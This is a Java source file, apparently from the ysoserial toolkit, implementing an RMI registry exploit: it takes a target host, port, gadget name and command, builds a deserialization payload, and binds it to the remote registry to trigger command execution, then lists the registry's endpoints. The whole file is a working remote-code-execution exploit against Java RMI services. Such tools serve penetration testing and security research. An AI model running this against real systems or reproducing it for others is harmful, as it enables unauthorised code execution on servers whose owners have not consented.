package ysoserial;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import java.util.concurrent.Callable;

import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;

/*
 * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
 * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
 * 
 * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
 * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
 */
public class RMIRegistryExploit {
	public static void main(final String[] args) throws Exception {
		// ensure payload doesn't detonate during construction or deserialization 
		ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
			Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));		
			String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
			Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
			Object payload = payloadClass.newInstance().getObject(args[3]);
			Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
			try {
				registry.bind("pwned", remote);
			} catch (Throwable e) {
				e.printStackTrace();
			}			
			
			try {
				String[] names = registry.list();
				for (String name : names) {
					System.out.println("looking up '" + name + "'");
					try {
						Remote rem = registry.lookup(name);
						System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
					} catch (Throwable e) {
						e.printStackTrace();
					}					
				}
			} catch (Throwable e) {
				e.printStackTrace();
			}
			
			return null;
		}});
	}
}
